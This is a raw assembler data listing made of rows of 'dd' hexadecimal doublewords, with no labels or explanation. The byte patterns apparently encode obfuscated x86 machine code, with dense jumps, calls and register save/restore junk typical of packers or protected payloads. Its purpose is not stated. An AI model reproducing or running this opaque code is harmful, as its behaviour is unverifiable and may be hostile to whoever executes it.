		dd 0CE96050h, 33000000h, 0DB3AE906h, 0D31268D8h, 0FE3FEEDh
		dd 5861F7B7h, 8B66F08Bh, 0DB45BBD3h, 0B70F53DEh, 0DABF0FF2h
		dd 5990B152h, 0EE9h, 228E6100h,	75FCFA3h, 0DCF15F69h, 66A23ED0h
		dd 60FCD98Bh, 5E9h, 5074B00h, 0BB6621B1h, 53610F29h, 5ADE8B66h
		dd 21D18166h, 0AEC08127h, 0B66EBD17h, 0DE9F0h, 0A2A60000h
		dd 19C295Ah, 9F77E13Eh,	607DD294h, 10E8h, 0E383F900h, 0BF554417h
		dd 96202857h, 96DA68D0h, 58DA8B8Ah, 61C28B66h, 10E8h, 616B3E00h
		dd 2FDF8948h, 65F6C299h, 86CCDD5Fh, 16B16022h, 61D2F180h
		dd 0EE95Ah, 0E2280000h,	0D73CA4E3h, 810D02ADh, 5461BF4Fh
		dd 8EDA8060h, 6158FC53h, 0F7E28166h, 0FE3B321h,	58Ch, 86B36000h
		dd 0BB6661FCh, 8166BBA3h, 669885F7h, 0E96D5FBBh, 9, 13FE9D60h
		dd 0FA53B0B3h, 0FC78B53h, 1487h, 0FE900h, 83EB0000h, 68050C95h
		dd 55BBE9B9h, 2824E06Ch, 0A890FC7h, 0E9000000h,	5, 922D9960h
		dd 0CE995h, 0F5770000h,	0E0ECC34Dh, 89441BA4h, 6660BFF3h
		dd 0F61D88Bh, 0D38AF6B7h, 0CE8CB8Bh, 0E9000000h, 2AFC8F39h
		dd 0BA1DC736h, 5734EB65h, 7E9h,	20640000h, 0E6505DB2h
		dd 0E88A585Bh, 60C88B66h, 0A1B0B966h, 6160F560h, 0BE96161h
		dd 21000000h, 4731F214h, 869A29E0h, 8A0FC950h, 5, 0EBD68166h
		dd 0F8E38A88h, 0F6051B7h, 0CC80CBB7h, 9E861B1h,	35000000h
		dd 9B1780B2h, 0D5F50F3Fh, 5F5BC980h, 6660E88Ah,	0B565E281h
		dd 0EAD08166h, 7E96120h, 51000000h, 4839585Bh, 0E880F7F1h
		dd 7870FDAh, 60000000h,	0AAC78166h, 8C0F616Ch, 5, 0C38B6650h
		dd 10E85Ah, 24500000h, 5BA0A118h, 0CFF8C3F9h, 3493C3DAh
		dd 8E97A9Bh, 3B000000h,	8F6331D6h, 58873386h, 0C8C0Fh
		dd 8D0F0000h, 6, 8A0Fh,	0BF660000h, 0FF5A480h, 1789h, 0BE96000h
		dd 0A000000h, 0E545EB74h, 0FFFED19Dh, 28B926BEh, 61634E69h
		dd 204EDE81h, 880F0640h, 7, 0F7B70F60h,	0E861C38Bh, 14h
		dd 3CE51A27h, 0CF711286h, 29112B5Dh, 3A6A9359h,	960D05Eh
		dd 11E9h, 59C5CD00h, 949C46C7h,	0A15D059h, 1CA90BE1h, 0BA5BCD56h
		dd 6149528Ch, 3820Fh, 8B660000h, 0D08160D8h, 3B6FE4B9h
		dd 5E960h, 9F1C0000h, 665493E3h, 61CB6AB9h, 48D0F61h, 66000000h
		dd 52A30BBAh, 92BB6660h, 0FE8B0h, 6C000000h, 626A8BDDh
		dd 128FAF0Eh, 89E71EC0h, 59615BECh, 80C98166h, 0AC4807Dh
		dd 1A0CDA81h, 0F960441Dh, 61CE8B66h, 11E953h, 1A200000h
		dd 52C3088h, 6B584D48h,	152925ABh, 5F077759h, 2ECF8166h
		dd 5CE3815Eh, 0F5F192Ch, 180h, 810FF800h, 2, 10E8DD8Ah
		dd 0D9000000h, 398F9C8Fh, 9E7A0DC5h, 4C3C8B8Fh,	0F9A456A5h
		dd 0CE95Bh, 0EC5A0000h,	2AB72E29h, 5877D7Fh, 7E9F031h
		dd 5C000000h, 21BF0FA9h, 0B70F0173h, 0FE9C7h, 0B8C40000h
		dd 0D8FF88FFh, 3C3F127Ch, 6A2F5A20h, 0DDF2817Eh, 812B0684h
		dd 4DB9BCC1h, 89BA6636h, 0A7E181F9h, 8121E1F6h,	8A2ADBD1h
		dd 18BF6647h, 0D2BF0F02h, 0CC76BB66h, 0CE8h, 65B65B00h
		dd 557E651Fh, 0F1518871h, 5FFA8B3Eh, 14E8h, 86FD1A00h
		dd 0CE0EB331h, 63391589h, 0A287C417h, 0E44BFF71h, 0CB8160BFh
		dd 0D5648EBh, 61C8B70Fh, 0D1816659h, 6E9CF21h, 0A1000000h
		dd 84E23BFFh, 10E949h, 0EB690000h, 0E1AA0098h, 0E3E5ABABh
		dd 991E9A51h, 0B2F5D8C3h, 0D18BF875h, 0E79C4B9h, 0FEB70F0Dh
		dd 0CC80DE8Bh, 56FBBEABh, 0DE9225Eh, 0FE000000h, 526D3610h
		dd 0F683364Eh, 6E07CE64h, 0EA14DA81h, 0FE96E50h, 46000000h
		dd 6EBA3CD9h, 0B5B91CDAh, 13FA1377h, 8B66CFCFh,	0F21CBFDAh
		dd 0BF66159Eh, 0FC50F72Bh, 8E9525Eh, 0B2000000h, 6E1C211Eh
		dd 5A1370E4h, 57D1B70Fh, 5AF78B66h, 8B0F7CB7h, 0
		dd 0BFD78166h, 5FF85385h, 29BEBE66h, 0F983E980h, 0FD2B70Fh
		dd 680h, 0BFD38100h, 8B53788Bh,	6E9DEh,	51150000h, 4982DBF4h
		dd 10E8F8h, 2DC0000h, 679304A6h, 6D41A2F7h, 0D30559E3h
		dd 81592E0Eh, 0A48774E3h, 0CE94Fh, 22A30000h, 0B8F103E6h
		dd 0CFC593E2h, 6E94461h, 0EE000000h, 4C24B435h,	0E9EA8A8Dh
		dd 9, 3AC5D42Fh, 84DBC60Fh, 0FE960h, 0E7FC0000h, 675A107h
		dd 0BB4F5D4Bh, 79B14D43h, 0DB816698h, 0B70FE223h, 72B966CAh
		dd 241DB9DDh, 0B0BF050Bh, 66292400h, 58C4F781h,	2A36BF66h
		dd 8BFEBF0Fh, 10820FCAh, 0E9000000h, 0Bh, 0C9ECFAA2h, 0AE7EFCA3h
		dd 60D7ABEDh, 8E8F5h, 84A90000h, 0B9CA0F8Eh, 0DAB11B1Bh
		dd 0EF816158h, 5A394A04h, 2820Fh, 0C68B0000h, 0E0816652h
		dd 8158B2B0h, 4998B0C9h, 0E8E68016h, 0E9D98B66h, 9, 0C3A14D33h
		dd 2EB7C260h, 10E8B5h, 0EE760000h, 9B0E9CCh, 0CDDE0305h
		dd 95E9AB4Fh, 605AA4AAh, 60F78B66h, 5E536160h, 0B70F6161h
		dd 0F3B70FCFh, 0C08C1CBBh, 11E838h, 0B6690000h,	0E2AEAD4Bh
		dd 0EF5D2B79h, 0ECDA1E3Dh, 0BAA27FA9h, 112876DEh, 11E95159h
		dd 9D000000h, 96298442h, 283A045Fh, 0E6AA9F0Dh,	3380AE1Bh
		dd 0CF81665Eh, 816616E7h, 0E9CB4EE3h, 8, 7478B4A9h, 919A601h
		dd 7E9h, 0B5205D00h, 578F9A98h,	9CF7B866h, 53F4B866h, 16D08166h
		dd 0C68B6617h, 8880Fh, 820F0000h, 2, 0DE96160h,	0C4000000h
		dd 560CB026h, 0F2713F3Dh, 0FFB04F2Ch, 34295EB9h, 0FF28B45h
		dd 1988h, 14E900h, 944B0000h, 290A6DBEh, 164BFACh, 0EBB6C36h
		dd 1297AA26h, 8A0F64F8h, 6, 632EDE81h, 0BE97BC7h, 7F000000h
		dd 29371A09h, 0D77ED777h, 81661EAFh, 0E9CA0DDEh, 9, 0CF593D60h
		dd 60E8ADB5h, 0BE8F1h, 562F0000h, 0C2303E6Eh, 0D831FDE7h
		dd 188A0F6Eh, 0E8000000h, 12h, 3847B9EEh, 7E6914B6h, 37DE371h
		dd 62194196h, 585AAA1Bh, 0CDE18166h, 18800F2Ch,	0E9000000h
		dd 13h,	297BF4B1h, 75A47A93h, 99BB7D0Bh, 0EEF06706h, 0F540A26h
		dd 81h,	0B87ABA00h, 0FC8A5E72h,	0BE960h, 0F74C0000h, 0F133A71h
		dd 0D1555E79h, 0DA8166E6h, 66614C4Ah, 830FF18Bh, 5, 0CCBCAB8h
		dd 0A2B86605h, 7E901h, 26E0000h, 0DC47DD90h, 0E18166EEh
		dd 880F7B70h, 2, 0BF0FF98Bh, 7FB966CFh,	0DE97Ah, 0DEC60000h
		dd 0AA46FD5Ah, 6F6506B7h, 0E972B164h, 12h, 0FE282548h
		dd 0AF7E5FF0h, 5BFF01BFh, 743141FEh, 890F89A8h,	1Ch, 10E8h
		dd 9FBB0B00h, 30526748h, 0E86448D6h, 0D3F28EB1h, 13F7814Dh
		dd 5F210315h, 0FCB8B66h, 8Bh, 10E96000h, 0D000000h, 5E2E5E90h
		dd 3147B87Ch, 0C5A13782h, 0B5D06C65h, 0FE961A8h, 0B7000000h
		dd 70D259B6h, 0D0170FF1h, 0E65B8723h, 6657CEEAh, 0AEF6D381h
		dd 0FE859h, 0D8C60000h,	6464746Dh, 1002EE54h, 781BC8EAh
		dd 0CE885h, 0D2760000h,	0DD1CA97h, 3C49CECEh, 8B66020Ah
		dd 0E95E5BF3h, 0Ch, 0B5C27EC8h,	285D7AC2h, 6B04006h, 0E9C78B66h
		dd 10h,	6117E09h, 0CC9857AFh, 0D50490F3h, 7EECC100h, 0FF98B66h
		dd 28Eh, 60D08A00h, 0CE9h, 0EB417800h, 0C36522F0h, 0C17A5E04h
		dd 0DF8166A6h, 6061294Eh, 12E9h, 4049DA00h, 545B4D1Dh
		dd 0B178E757h, 2670913Eh, 0F25EB94h, 0FC61C6B7h, 0BA6697B7h
		dd 0D9815183h, 659BF19h, 93B3BB66h, 3686F681h, 8A6017BEh
		dd 3BBE60FCh, 0E8688822h, 5, 77A80216h,	61615F8Ch, 49C0BE52h
		dd 0B25F0E9Bh, 7FFEBEA1h, 8BF539E1h, 6E9C1h, 274D0000h
		dd 0EBD57178h, 0CCD8BBFh, 0C7B3601Eh, 1810Fh, 61F90000h
		dd 9E8F5h, 0F73C0000h, 0E205EEE1h, 0F850911Eh, 8CBB6659h
		dd 0AE874h, 76140000h, 0A1940421h, 75D71404h, 1AC18166h
		dd 0DE95E04h, 6000000h,	6BB01B80h, 0A87B1583h, 13DD84B6h
		dd 0E043B866h, 0E8FFBF0Fh, 0Ch,	88571F87h, 7FBA8FC7h, 9451354Dh
		dd 39EABCBBh, 0F5605E60h, 841769BBh, 8B66616Ch,	8E9D3h
		dd 0EB150000h, 0BA12D944h, 0BF0F0CE4h, 0A1F281D2h, 8B0A9C50h
		dd 5830FDAh, 0B8000000h, 49BA9811h, 10E8h, 0A1983200h
		dd 0B9150920h, 1FEB461Ch, 532419ABh, 0F5BFC6Eh,	83h, 10E800h
		dd 481E0000h, 24E29B3Ch, 620020A2h, 0EDC35C7Ch,	0F55022AEh
		dd 6EB4595Bh, 87888CBBh, 7BCF801Ah, 12E8F88Bh, 5000000h
		dd 0E125F34Fh, 966C438Ch, 0BD939A44h, 15D35AECh, 0A8C0FCBh
		dd 0E9000000h, 5, 7A40701Bh, 80605B53h,	61F844E5h, 48A0Fh
		dd 0B9660000h, 6653713Ch, 0A295DA81h, 0CE95Ah, 983C0000h
		dd 0BD2ACD7Bh, 183B4D7Dh, 0BB6660FEh, 9E8C715h,	9B000000h
		dd 0D1A7853Ah, 6B6D9920h, 0C68B6658h, 9810Fh, 8C0F0000h
		dd 3, 0FC9BF0Fh, 586h, 15CB800h, 0BF0F41A2h, 8BF08BC6h
		dd 0D08166DAh, 4DBEAD11h, 6641380Eh, 0F856FE8Bh, 0CA8BFC5Ah
		dd 0CA816652h, 0F5A8001h, 0F78AFFB7h, 9776B966h, 52F78B66h
		dd 0F47B458h, 0B966CABFh, 8B665116h, 5115BBC6h,	0B86605C0h
		dd 11E964D1h, 0CD000000h, 0CA5A0DA5h, 5087D206h, 43440580h
		dd 0A700564h, 0DF8B6660h, 800Fh, 0BA610000h, 1ECD45A7h
		dd 13E8h, 23602A00h, 72107AD7h,	968800C6h, 2A6F4BA8h, 563701C7h
		dd 10E9h, 6B278600h, 0E8F518D8h, 0CDCB5798h, 99905E7Ah
		dd 8FBF5E3Dh, 8131FD33h, 14BCEFE2h, 0AABB665Bh,	0F381660Ch
		dd 91BA9C8Ah, 8000A65Fh, 0B70FCACEh, 0BE9FEh, 72D40000h
		dd 341821C2h, 4CB6E04Eh, 4870F07h, 66000000h, 0FF83FB9h
		dd 0E580FABFh, 13E9C6h,	0FE070000h, 6A7AF155h, 8357009Bh
		dd 410219A1h, 0F13D88CDh, 8B84B2D2h, 0BA6660D6h, 0DE810DAh
		dd 2C000000h, 479FE06Dh, 1201288Eh, 42FC67B2h, 7E9h, 0B5419A00h
		dd 502E388Fh, 5E8615Bh,	0CE000000h, 41D2F0BBh, 4747F681h
		dd 0F594424h, 688h, 60DE8100h, 80227018h, 7E89AF1h, 7F000000h
		dd 0C7A27525h, 0BA662B49h, 0F59F6ECh, 587h, 0E0816600h
		dd 0D08B7462h, 0FCA8B66h, 1682h, 11E900h, 6F930000h, 630709A2h
		dd 97C83685h, 6FA6EF20h, 0E9C6DC9Fh, 0Dh, 0C3C8A27Ch, 7EC2D139h
		dd 21E55114h, 0CDE28199h, 0E812B523h, 0Eh, 524743D5h, 0A4D2A550h
		dd 29317C4Dh, 8B6678B9h, 0D38A58D8h, 97FBE181h,	820F6578h
		dd 0
		dd 8D0FCB8Bh, 3, 6653C680h, 0E95BF2BEh,	14h, 0B8B21D4Fh
		dd 5E76FB2Dh, 93942EF4h, 9A002837h, 93BBCA7h, 11E8h, 2CB54C00h
		dd 0FBE77058h, 7BC5F700h, 91AB57F8h, 0F51985Bh,	87h, 665B5800h
		dd 8B66C18Bh, 81EB80F2h, 0FCC28B66h, 7E850F9h, 9A000000h
		dd 0F8638C01h, 0B70F716Fh, 66595AF3h, 0F381F38Bh, 49CFD7BBh
		dd 7E9h, 7ED09C00h, 7AA2061Ah, 8E9F5h, 0B31F0000h, 4576401Ch
		dd 81668382h, 0FCCC2F2h, 158Dh,	0DE85000h, 4000000h, 5620E86Dh
		dd 0DF80AAE9h, 818CFF9Ch, 8E0F595Fh, 0
		dd 0FB55A1BFh, 5E90Eh, 7CC10000h, 0E8561425h, 7, 0BEA2512h
		dd 0F9043A38h, 0E180515Eh, 0C28B5B31h, 663EC180h, 2FB0EA81h
		dd 60D9BF0Fh, 0D1779BBh, 13E93Eh, 72FD0000h, 0F0FF30B1h
		dd 0DF6E3956h, 1851F13Ah, 5795B444h, 0B70F61FEh, 88BB66CEh
		dd 10E854h, 0A1D60000h,	0FA874C36h, 5A29A01Fh, 6FD868EEh
		dd 0E7818E51h, 31A26BC3h, 0D6B70F59h, 10E9F5h, 0CA380000h
		dd 296DD7FCh, 0BD6AECEDh, 7793D43Dh, 0BEB90F91h, 80184689h
		dd 14E9C6F3h, 0E4000000h, 5F1EA8F3h, 49FF7F9Ch,	93F4A973h
		dd 0BFE94597h, 0E955079Bh, 7, 0DEA3234Ch, 0E9DD2A6Dh, 0Eh
		dd 347BB15Fh, 10E73F03h, 53C2A459h, 0F78BEB0Ch,	11E9h
		dd 0A3AF1200h, 0AC205E8Ah, 8F790EE4h, 5504103Ch, 0BE664FFFh
		dd 0BF66A1E8h, 0E681DA3Eh, 691EC28h, 0BF0F5160h, 8B6659FFh
		dd 0B86661F0h, 8B66D366h, 0E28166C2h, 0D78B7D02h, 7830Fh
		dd 66570000h, 9F5DF281h, 0DDE58058h, 16830Fh, 11E90000h
		dd 0C0000000h, 51780708h, 70D90241h, 0A78BA7Eh,	5CC20F76h
		dd 5E953h, 12FA0000h, 5AE4F05Dh, 0FC6B70Fh, 82h, 0EA04BA00h
		dd 0C98170DFh, 743E3262h, 381ECA81h, 11E97A3Dh,	6A000000h
		dd 3A10F24Dh, 4D1EA6ACh, 0B3D917DEh, 5D6D2316h,	0D88B54B3h
		dd 66D18B66h, 8E0FCE8Bh, 0
		dd 0AFB9EA81h, 880F5568h, 3, 8B41D580h,	0AE9C7h, 319D0000h
		dd 0EA613DF8h, 0A636EBAFh, 364CBA50h, 0F5592B30h, 9173BB66h
		dd 5003CA80h, 0F859C58Ah, 6C17D781h, 0B9570A9Fh, 3352F7C4h
		dd 3830F5Fh, 0F000000h,	0F08BC1B7h, 0A06A23BEh,	0B9E38178h
		dd 0B3593F7Bh, 18D0F9Dh, 0FC000000h, 4870Fh, 0BE660000h
		dd 890F732Eh, 11h, 0CE9h, 434C3200h, 0E60D79ACh, 627E68E4h
		dd 0B70F525Ah, 8BF95FF2h, 0FBBF0FC2h, 38D0F51h,	0F000000h
		dd 0E858C0BFh, 5, 300A3A7Eh, 5FD78B3Eh,	0BF66D78Bh, 0AE9A838h
		dd 2B000000h, 0C90DDAB9h, 91427842h, 1C820F2Ch,	0E8000000h
		dd 10h,	7CF37889h, 0A2C9F7Fh, 0F8DFFC92h, 0B794E22Bh, 7B9CD081h
		dd 0F5E0057h, 580h, 0F7816600h,	0DE86F10h, 76000000h, 41A9C64Dh
		dd 20C8D92Ah, 0B0702BF6h, 3DC08166h, 0E8525E99h, 0Ch, 772C5Ah
		dd 0BDA6AD13h, 0F73E9F81h, 665A5FFCh, 0BE9FB8Bh, 75000000h
		dd 0E51BF325h, 674B2013h, 516009BFh, 8E9h, 5C9BA600h, 0CD8F7030h
		dd 890F5E76h, 3, 61DA8B66h, 8720BE66h, 117935BFh, 0BE875h
		dd 37B0000h, 0AE3ADAB4h, 14CEB371h, 0D0CB8121h,	5961E5BBh
		dd 0E617C981h, 0E6813A0Dh, 54DFE5DBh, 6E8h, 1D28AA00h
		dd 56A325E5h, 5AECE880h, 7BB6659h, 0D18B66BFh, 6801C0B8h
		dd 0F2BF0F22h, 9E9h, 0E5702600h, 616961DAh, 8C0FCD5Eh
		dd 0
		dd 14870Fh, 0FE90000h, 0FB000000h, 1F91A7C5h, 22499CF1h
		dd 0C8E10984h, 0BA669C58h, 10E97820h, 17000000h, 9C2574ECh
		dd 41543D3Dh, 1A606B2Fh, 8B851848h, 38E681F0h, 5770FEE4h
		dd 5B30EE80h, 4830Fh, 60600000h, 66F56161h, 0D181C78Bh
		dd 6499A2FEh, 12E8h, 37FCAA00h,	0B8E5DEEBh, 613B94B6h
		dd 0BD884DF8h, 800D0783h, 0F5BAAE8h, 0B70FD2BFh, 810F60DFh
		dd 18h,	13E9h, 0E120500h, 0CF07A59Fh, 47F77213h, 0D2AFD96h
		dd 4FE1A619h, 7E961F9h,	53000000h, 1D503ADCh, 5752215Dh
		dd 0BE9h, 0C3FA6300h, 0C9308B73h, 0F02D774Fh, 0E9605F5Ah
		dd 0Eh,	495425BCh, 5BDD3C8Ah, 894CE084h, 61F878EBh, 850FDE8Bh
		dd 6, 5C5BDF81h, 8B665F5Eh, 0EE8C1h, 0B6D0000h,	9551E495h
		dd 0C64727A2h, 46EB5FC3h, 18CB8166h, 0BE95BE6h,	1000000h
		dd 1DDA2920h, 0B3B77DEFh, 0BF0F0AB4h, 9DCF81CBh, 664C107Fh
		dd 0CAEFD181h, 0DF80C7B3h, 0FE96021h, 0DD000000h, 30F22DF9h
		dd 0B4249CB6h, 0DA0A84B5h, 0F6110B0h, 98Ah, 3810F00h, 0F000000h
		dd 0F60C9B7h, 8Bh, 0C68B6600h, 99BA6661h, 5AD281A5h, 0E879FE9Eh
		dd 6, 12AE5DF8h, 0F08B4EE9h, 0DE959h, 0D6490000h, 0CAD028A7h
		dd 0B9D4704h, 60FE03E5h, 11E9F5h, 32C50000h, 5B8161C2h
		dd 67EB8EE8h, 1FD771Fh,	61672F8Dh, 0DA81D38Bh, 0D08A337h
		dd 58C0Fh, 83B80000h, 0F557246h, 0AE8D1B7h, 48000000h
		dd 66AB969Dh, 8ECFCC34h, 14E920h, 311B0000h, 3B613C0Eh
		dd 6F87E77Ch, 29001B6h,	0BF81DD52h, 0E9595AA3h,	0Ch, 2C3A90A9h
		dd 0C39D0F57h, 298AC43Ch, 0F1B96060h, 666E19B8h, 49E9D981h
		dd 0DA8B6661h, 0A5C3BA61h, 0DA807A18h, 6ABE6634h, 0F28B667Fh
		dd 0F5D8C580h, 8166F2B4h, 0BB5960F7h, 2778E048h, 8E9h
		dd 5FCBF900h, 0D1E88423h, 0DE983h, 2F90000h, 0B4B24161h
		dd 36367B4Bh, 0F95AB3Bh, 0E851F0B7h, 0Ah, 5428CBD4h, 0DD2FA3C2h
		dd 0D78B759Ch, 0BE95F5Ah, 4C000000h, 6F789547h,	8A484CF1h
		dd 8B66E2F5h, 81EDBFCBh, 81660E55h, 0BB6A84C3h,	3948CD5Bh
		dd 0E4E5B966h, 0FDFB70Fh, 1983h, 11E800h, 3CFF0000h, 0ACBEC560h
		dd 0B3D6FD6Ah, 0E8AED3A5h, 0B1FD1B6Bh, 0E880588Fh, 12E9F6h
		dd 71670000h, 7652250Ah, 873788A7h, 5A769BFh, 0D144A311h
		dd 0FF78B66h, 285h, 50DA8A00h, 3890Fh, 0E1800000h, 0BF0F5BB2h
		dd 0D3BF0FC3h, 5E9h, 0F1FF3700h, 0F281757Ch, 2E0932E0h
		dd 83B9FB8Bh, 0B6562250h, 14E93Fh, 0FBA70000h, 0AEAE21C0h
		dd 248CB45Dh, 6C06BC24h, 19CA6F6Bh, 0BF0F79E5h,	0F68166D2h
		dd 5E9D880h, 0D5000000h, 0FDC3EC74h, 0F78B60F8h, 61F6E780h
		dd 8C9DEEB8h, 0F18B6631h, 802AF180h, 0D9818AEBh, 6118C66Eh
		dd 8B666056h, 0F85F61F8h, 6860Fh, 0EA810000h, 33FCACB1h
		dd 0CE9h, 650C7500h, 1E629A0Dh,	0C869A611h, 3890FD0h, 0F000000h
		dd 0C580C2B7h, 0C6BF0F17h, 8E8h, 0A9552600h, 59532F6h
		dd 0CE815F07h, 471757BEh, 10E96160h, 8D000000h,	0B9EDE4E1h
		dd 46431E84h, 0FC70800h, 80A2DD8Dh, 0FD8A6DDEh,	13E9h
		dd 69C86800h, 512467EAh, 0E2BF3A55h, 0C64A4020h, 4256DBA8h
		dd 58D78166h, 0FF8608Eh, 286h, 61595000h, 66F8CC80h, 364BD781h
		dd 0AE9h, 0BF54C300h, 0AD58DF9Ch, 601CEB4Dh, 81F1BF0Fh
		dd 30B414D6h, 8B0F617Fh, 4, 335AB866h, 81D78BF8h, 33E12DD7h
		dd 2840F4Dh, 0B6000000h, 0FE9B9h, 41080000h, 2EED431Bh
		dd 3BF05AF3h, 0B9B6579Dh, 5FFC513Fh, 0D98B6660h, 0F7B70F61h
		dd 8E9h, 8BE54300h, 0DE7EAC52h,	0B72FBF82h, 0CF814DF1h
		dd 47002855h, 1D98166h,	28C0F43h, 8B000000h, 14E9C6h, 0B28A0000h
		dd 7E78CE0Fh, 0CF8663F2h, 74E46218h, 84F8B25Dh,	820FF42Fh
		dd 1, 0DF8166FCh, 4B15052h, 0DE8h, 46A0D600h, 0DF30D117h
		dd 17F5E18Ch, 58F879B6h, 4B9FF381h, 0AE970AAh, 66000000h
		dd 40B4B1CEh, 764359Eh,	7ABA6654h, 1880F80h, 0F8000000h
		dd 0E85BF851h, 0Dh, 27E80A02h, 0AC7CD2ADh, 42CA7E00h, 66575B3Bh
		dd 0D4C0DA81h, 66BF6658h, 0FC42B714h, 0D33CE2BAh, 4ECDB94Eh
		dd 10E95E9Ah, 60000000h, 0C5C3B4CAh, 5A14893Fh,	7A1C2D6Bh
		dd 66CB3FF7h, 9D06CE81h, 21CE8166h, 2850FE0h, 53000000h
		dd 0F78B6659h, 56F6B70Fh, 5E8h,	8A24CA00h, 0BE88989h, 1B000000h
		dd 9E67B48Eh, 8B4F912h,	59590F4Bh, 0B9D78B5Ah, 46A6DEA3h
		dd 0E6FD48B8h, 0AE90Fh,	79670000h, 34EE6E46h, 0A2986D74h
		dd 6810Fh, 0D1810000h, 36DA1DCFh, 0ECE1F281h, 66F50671h
		dd 0EF80D78Bh, 66C5B1A7h, 0C6B7F38Bh, 2D4ABEFCh, 11E8577Eh
		dd 40000000h, 53D318D6h, 2FFD8D2Fh, 0C5670197h,	1607866Bh
		dd 0E95BC88Ah, 11h, 0B63D1752h,	0AA8B9DC7h, 252CD0DAh
		dd 0CAF06344h, 2800F24h, 0B4000000h, 0BE9FCh, 940A0000h
		dd 456B725Fh, 0D8A2EC65h, 0E86057C9h, 12h, 0D1411E52h
		dd 2632A1BAh, 1533FCC6h, 0A791DFABh, 665F71FDh,	759EC281h
		dd 890F5B61h, 4, 6131BA66h, 0FE9h, 5C4A9600h, 0BAF70FD1h
		dd 83C8E297h, 0B5E5ADA0h, 9E9h,	47248D00h, 0ED1A9F7Dh
		dd 0C68A4A9Fh, 890FF38Bh, 4, 59616053h,	0EE9F78Bh, 55000000h
		dd 0F25A2502h, 0D5F819C7h, 0F15CEA5Ch, 0C3BF0F43h, 8E9h
		dd 3DF16E00h, 0B0BD8FE0h, 6860FFDh, 81000000h, 1AC267F7h
		dd 8BD88B40h, 9E8F7h, 741A0000h, 3FACA97Bh, 803FBE56h
		dd 0E959F2CFh, 0Bh, 74B5240Bh, 0C6F35A0Ch, 66EC61E7h, 60C165BFh
		dd 610DEF80h, 0E8FBB70Fh, 0Ch, 0B8CE4F2Ah, 3A6DEED9h, 2601F467h
		dd 9E9h, 0B0B1F200h, 0E64948A1h, 81594F38h, 4552A5C3h
		dd 4DC6815Dh, 805F4F99h, 0B70F68DAh, 0C88050D0h, 58535A4Fh
		dd 0FFBF0FF8h, 14E9F8h,	0F1E00000h, 5FB5111Fh, 0B4BCD2EDh
		dd 92BAD86Dh, 0DA51A34Ch, 0D98BCAB5h, 66C68B60h, 0B961D08Bh
		dd 39856CFDh, 0FC28B66h, 88h, 8E900h, 51440000h, 0C8F83675h
		dd 81668B19h, 0F1300DAh, 82h, 13E800h, 95840000h, 0FA63C6E7h
		dd 308B73C3h, 2D774FC9h, 6C4D94F0h, 0AFD081F8h,	5B15FECFh
		dd 9850Fh, 0B6600000h, 0D08166A3h, 0F61974Dh, 38Ch, 0F98B6600h
		dd 8BC7B70Fh, 0C88060D0h, 0D98B6658h, 12E961h, 18A80000h
		dd 0EEA232E5h, 26870840h, 0ABB68941h, 582F3846h, 0FB9D38Bh
		dd 0E90F0682h, 0Bh, 81C5458Bh, 2AE4D8D7h, 0F1E78EEh, 0C83h
		dd 68E0F00h, 81000000h,	0FAB571E6h, 7E97Ch, 1ED40000h
		dd 25BC19D3h, 22F28154h, 0F8790CA4h, 762DB966h,	5E8h, 85FA1500h
		dd 0F281C967h, 0E8954D8h, 0D4F0815Eh, 0BF3DC34Ah, 50044F69h
		dd 0E9FAB70Fh, 14h, 23C0EDB5h, 9C85A177h, 356B829Dh, 0B3AE4CAFh
		dd 0E1C5E5FDh, 3820Fh, 0BF0F0000h, 13E9FFh, 0E8540000h
		dd 1A3404C1h, 7CF98AF4h, 5E52DD3Dh, 6708A0F8h, 5E992h
		dd 0BF700000h, 0E893A498h, 0Dh,	7E53F4E9h, 524C933Bh, 2DAEBEB7h
		dd 0BA5AF9E1h, 39B6BFC1h, 60C3B70Fh, 6660F38Bh,	819CB5BEh
		dd 2D9D67E0h, 66616154h, 577E21B8h, 2AA7C081h
		dd 0E95E37A3h, 10h, 348B0721h, 0F66AD793h, 7D9EB87Dh, 0B86509D0h
		dd 0BBBC28Ah, 81453CE9h, 0FBE999D6h, 11E81Ah, 87E70000h
		dd 9001B66Fh, 81DD5202h, 5AA3BFh, 515D51DCh, 585FD38Bh
		dd 0F51D98Bh, 575BCEBFh, 14E9h,	0AE376900h, 0E092C664h
		dd 0AD1F1D8Ah, 279CA73Ah, 48CE9F91h, 6E9594Ch, 5F000000h
		dd 8D607489h, 38D0F98h,	66000000h, 5F51FA8Bh, 82BF66FCh
		dd 0BE9F964h, 0BF000000h, 1957E6BEh, 0A4E3E228h, 830FD73Ch
		dd 3, 0FF6B70Fh, 0E280D1B7h, 0ECA81F9h,	8020FC7Fh, 81668FC3h
		dd 8BA647F1h, 830FF0h, 0F000000h, 785h,	0B3BF5600h, 59721BCFh
		dd 12E960h, 1E930000h, 26B0A0D0h, 67237054h, 80E7EF87h
		dd 6E1AD672h, 0C5BF6661h, 0F8F18A91h, 8B6642B3h, 4810FF3h
		dd 66000000h, 0E8B5E2B9h, 9, 100FB4D6h,	0A6C8AFF1h, 5DE7BF22h
		dd 0B359274Eh, 5E986h, 92000000h, 0E9A8DBAAh, 12h, 25D44F10h
		dd 340B463Ch, 41158113h, 929CC49Eh, 0C780764Eh,	0DA816650h
		dd 0B70F476Ch, 5800FF3h, 0B9000000h, 7EB80C3h, 1870FFCh
		dd 0F8000000h, 0D7C68166h, 7E8E5h, 9EDF0000h, 8FBE261Ah
		dd 0F2ED80ABh, 18C0F5Bh, 0F5000000h, 9E8h, 2B9E3E00h, 0E7650E18h
		dd 0DE80F16h, 8A000000h, 660EFB65h, 3029331h, 9639EEEDh
		dd 58595B52h, 94BBD68Bh, 660AEE02h, 0FD20C781h,	1C85BEFCh
		dd 0FABF2947h, 0F6063CEh, 280h,	8BFA8B00h, 0F5D881D7h
		dd 0E91CA002h, 13h, 74723EA0h, 0F341793h, 9F70A090h, 0FEB5D6D7h
		dd 0F8C5E9FBh, 8F0FF18Bh, 2, 11E814B5h,	0F000000h, 0CD013D58h
		dd 0B9FCD4C8h, 0AA065255h, 39266FF7h, 11BF6660h, 0C7816633h
		dd 5E610F02h, 130EF081h, 0F580254Bh, 0CABF0F31h, 840F6060h
		dd 0
		dd 61F7B70Fh, 10E8h, 0D6530C00h, 0C68DEE39h, 5BE1FAE9h
		dd 0C889EB88h, 5AF78B70h, 0F88B6661h, 17B8CF8Bh, 813A4D6Eh
		dd 0A605ADF2h, 66D68108h, 666BD2F1h, 60D0DFB9h,	0FE9h
		dd 7E60EF00h, 0CE5F802Ah, 32ECD508h, 3EAC1283h,	359EC781h
		dd 806178D9h, 8D0FA8D5h, 0Ah, 0D1816660h, 0CB80CE01h, 0DE861F6h
